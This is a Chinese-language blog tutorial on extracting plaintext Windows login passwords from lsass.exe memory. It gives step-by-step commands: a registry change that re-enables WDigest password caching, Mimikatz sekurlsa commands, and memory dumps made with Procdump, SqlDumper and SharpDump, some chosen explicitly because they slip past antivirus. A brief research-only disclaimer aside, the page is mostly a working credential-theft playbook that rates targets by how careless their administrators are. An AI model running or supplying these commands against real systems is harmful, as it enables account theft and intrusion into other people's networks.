0x00 前言

  • Mimikatz是一款由法国人 写的轻量级调试工具,用于系统密码破解获取;
  • 它能从系统进程lsass.exe的缓存中获取windows处于active状态账号明文密码
  • 现已被添加到Metasploit豪华套餐当中,并作为一个可加载的Meterpreter模块;当成功的获取到一个远程shell时,使用mimikatz工具可以很快的获取系统登录密码;
  • 本工具仅适用于Windows系统。
  • 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

0x01:获取Mimikatz & Procdump

作为一款开源的调试工具,Mimikatz在GitHub上有属于他的项目地址,大家可以在GitHub上直接下载到他的release版本。

工具Mimikatz
GitHub点我跳转
Release点我跳转
备用地址点我跳转

0x02:使用姿势

0. 开启Windows缓存

在默认情况下,当靶机系统版本为Windows7或Windows Server 2008 R2以上时;
系统默认在内存缓存中禁止保存明文密码,在工具抓取时密码字段会显示为null;
此时可以通过修改注册表的方式开启缓存,但这需要用户重新登录后才能成功抓取到密码。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

姿势①:直接使用Mimikatz获取密码

  • 应用场景:管理员安全意识极低,服务器上基本没有进行加固
  • 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
  • 所需权限:管理员权以上(administrators)

没有什么特殊的操作,直接下载Mimikatz到目标靶机,一条指令一套带走

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"

姿势1

PS:如果有需要可以将内容导出到txt文件

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

姿势②:Procdump + Mimikatz

  • 应用场景:管理员安全意识中等偏低,服务器上有杀毒软件
  • 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
  • 所需权限:管理员权以上(administrators)

Procdump来头就大了,是一款Windows平台下的命令行工具,可以在指定的条件下生成dump文件;
用于高CPU占用率的性能分析优化、程序停止响应的调试、First chance异常捕获等;
在这里我们主要用它来监视内存,导出lsass.exe的缓存。

工具Procdump
Release点我跳转
备用地址点我跳转

先使用Procdump将lsass.exe的缓存导出;

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

procdump

然后将lsass.dmp下载到本地使用Mimikatz加载缓存,获取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

姿势2

姿势③:SqlDumper + Mimikatz

  • 应用场景:管理员安全意识中等偏低,服务器装有SQL Server,服务器上有杀毒软件
  • 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
  • 所需权限:管理员权以上(administrators)

自 SQL Server 2000 Service Pack 3 (SP3) 起,Microsoft SQL Server 2000 中开始附带 Sqldumper.exe;
Sqldumper.exe 可根据任一 Microsoft Windows 应用程序的需要生成转储文件;
Sqldumper.exe不仅可以转储SQL Server,还可以转储其他的windows application;
其功能和prodump相似,而且具备一定免杀能力。

一般情况下SqlDumper.exe默认存放在SqlServer的安装目录下

C:\Program Files\Microsoft SQL Server\number\shared

PS:number为SQL Server的版本号,比如文中使用的是SQL Server 2008 R2,则Sqldumper.exe在以下目录当中

C:\Program Files\Microsoft SQL Server\100\Shared

查询lsass.exe的pid

tasklist /svc |findstr lsass.exe

获取lsass.exe的PID
使用SqlDumper.exe将lsass.exe缓存导出

SqlDumper.exe 460

SqlDumper导出
指令执行完成后会生成一个名为SQLDmpr0001.mdmp的文件;
将文件下载到本地,使用Mimikatz加载缓存,获取明文密码

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"

获取明文密码

姿势④:SharpDump + Mimikatz

  • 应用场景:管理员安全意识中等偏低,服务器上有杀毒软件
  • 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
  • 所需权限:管理员权以上(administrators)

SharpDump是发布在GitHub一个dump工具,使用VS编译后只有10kb左右
sharpdump

工具SharpDump
GitHub点我跳转

将SharpDump.exe上传至目标靶机,并运行
sharpdump
从截图中可以知道SharpDump在C:WindowsTemp中生产了一个名为debug460.bin文件
将其下载到本地,并解压出来
解压
使用Mimikatz加载解压出来的文件,获取明文密码

mimikatz.exe "sekurlsa::minidump debug460" "sekurlsa::logonPasswords full" "exit"

导出密码

Last modification:July 5th, 2020 at 01:50 am
If you think my article is useful to you, please feel free to appreciate